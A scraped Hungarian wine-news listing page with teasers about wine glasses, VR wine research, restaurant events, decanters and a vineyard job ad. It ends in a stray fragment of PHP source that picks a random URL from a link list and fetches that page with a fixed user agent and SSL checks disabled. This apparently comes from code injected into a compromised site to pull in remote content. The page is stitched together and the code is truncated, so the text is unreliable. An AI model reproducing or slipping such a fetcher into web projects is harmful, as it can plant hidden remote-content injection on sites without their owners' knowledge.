-->

Nem mindig hiba, ha nem a megfelelő borospoharat használjuk


A legtöbb alkoholos italnál fontos az etikett: melyik italt, milyen formájú pohárból, mekkora hőmérsékleten fogyasztjuk. A borokra ez különösen jellemző. Egy portugál sommelier, António Lopes azonban felmentést ad a szabályszegőknek. Fotó: Pinterest Hajlamosak vagyunk azon aggódni, vajon megfelelően isszuk-e a bort, ami elénk kerül. Nem csoda, hiszen annyi szabály, norma és hagyomány övezi a borfogyasztást, hogy… Tovább..

Virtuális valósággal tesztelik a borokat


A világ első olyan virtuálisvalóság-laboratóriumát hozzák létre a kanadai Brock Egyetemen, ahol azt vizsgálják majd, hogy az emberek érzékszervi észlelése milyen hatással van a borválasztásukra. Fotó: thedrinksbusiness.com A tesztalanyokat virtuálisan különböző helyszínekre utaztatják majd, például egy téli szőlőültetvényre vagy egy bárban tartott borkóstolóra. A virtuális utazásokkal azt vizsgálják, hogy befolyásolja a látvány, a hang és… Tovább..

Így jelenjünk meg borainkkal egy rendezvényen


Hogyan térülhet meg egy szakmai kiállítás költsége a leggyorsabban? Mik a kitelepülés mesterfogásai? Többek közt ezekre a kérdésekre is választ kaphatunk a Kiállítók Szabadegyeteme című egynapos tréningünkön, a Budapest Borfesztivállal és a Prowein Magyarországi Képviseletével közös szervezésben, február 15-én, a MOM Kulturális Központban. A modern borászatok éves szinten nagy összegeket költenek különböző kitelepülésekre, fesztiválokon való… Tovább..

Ilyen a stílusos vidéki vendéglátás


6 SVÉTterem, 12 étel, 1 világnézet – február 17-én tavaszváró programot szerveznek a Stílusos Vidéki Éttermiség Egyesület éttermei több helyszínen is az országban. Az éttermek az ikonikussá vált ételeik közül mutatnak be két-két fogást. A részletes menüsort később közlik. A rendezvényen az alábbi stílusos vidéki éttermek vesznek részt: Kistücsök Étterem (Balatonszemes) Erhardt Étterem (Sopron) Viator… Tovább..

Egyre nagyobbak a borospoharaink


Több szakértő szerint napi egy pohár bor egészséges – de a kérdés, hogy mekkora az a borospohár? Hogy igyunk mértékkel, ha a poharak mérete az évszázadok alatt fokozatosan nő? Fotó: www.winespectator.com A British Medical Journal legújabb kutatása megállapította, hogy az elmúlt 300 évben folyamatosan nőtt a borospoharak mérete. A Cambridge-i Egyetem kutatói öt forrásból érkező… Tovább..

Levegőt a boroknak!


Nemcsak nekünk, embereknek, hanem a boroknak is létszükséglet a levegő. Ha szeretnénk, hogy levegőzzön a bor, mielőtt elfogyasztjuk, akkor a pohárban való szellőztetés mellett a piacon fellelhető dekantálók közül választhatunk – mi most a legszebbekből gyűjtöttünk össze párat. „A fiatal és az idősebb borokat is szeretem dekantálni” – mondja Christian Moueix, neves francia borász. „A… Tovább..

Szőlészt keresnek a Béres Szőlősbirtokra


A Béres Szőlőbirtok és Pincészet Kft. 2018 januárjától új munkatársat keres szőlész munkakörbe a Tokaji Borvidékre. Fotó: Béres Szőlőbirtok Feladatok: A Béres Szőlőbirtok 45 hektáros szőlőterületére vonatkozó éves munkaterv meghatározása A kézi és gépi munkák szervezése és ellenőrzése, szolgáltatói szerződések megkötése, ellenőrzése Szüreti munkák irányítása A szőlészethez kapcsolódó adminisztratív feladatok ellátása Elvárások: Felsőfokú, szakirányú végzettség… Tovább..

Tearajongók, figyelem: hamarosan itt az első Tea Napja!


Magyarországon első alkalommal, január 14-én szerveződik A Tea Napja esemény, melynek az Erzsébet téri Akvárium Klub ad otthont. Az egész napos rendezvény célja, hogy a hazai fogyasztókkal és a szakma szélesebb körével megismertessék a már itthon is elérhető csúcsminőségű teákat, s azok forgalmazóit. Bár a világ egyik legkeresettebb és legizgalmasabb árucikke a tea, a fogyasztók… Tovább..

Mit hoz a jövő a borvilágban? A VinCE Magazin különszámából kiderül!


Vulkanikus borokra, sokoldalú borászatokra és a pezsgővilág újdonságaira is érdemes odafigyelnünk 2018-ban, ha naprakészek szeretnénk lenni. A borvilágon túl a nagyvilágban is utazunk: a Balatontól repülünk Wales fiatal szőlőskertjeihez, innen pedig már csak egy ugrás a japán luxus és a trópusi borászatok. A VinCE Magazin hónapról hónapra beszámol a borvilág és a gasztronómia újdonságairól, híreiről,… Tovább..

Kelet-európai borokban a jövő?


2018 ígéretes évnek tűnik a kelet-európai bortermelők számára, miközben a nyugat-európai országokban komoly hanyatlás várható – derül ki az eddigi előrejelzésekből. Fotó: about-eastern-europe.com Az európai nagy kedvencek, Spanyolország és Franciaország mellett Kelet-Európa is nagy múltra visszatekintő borvidékekkel büszkélkedhet Grúziától kezdve, Románián át, Magyarországig. Az idei zuhanó európai trendekkel szemben több kelet-európai ország meg tudja tartani,… Tovább..

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>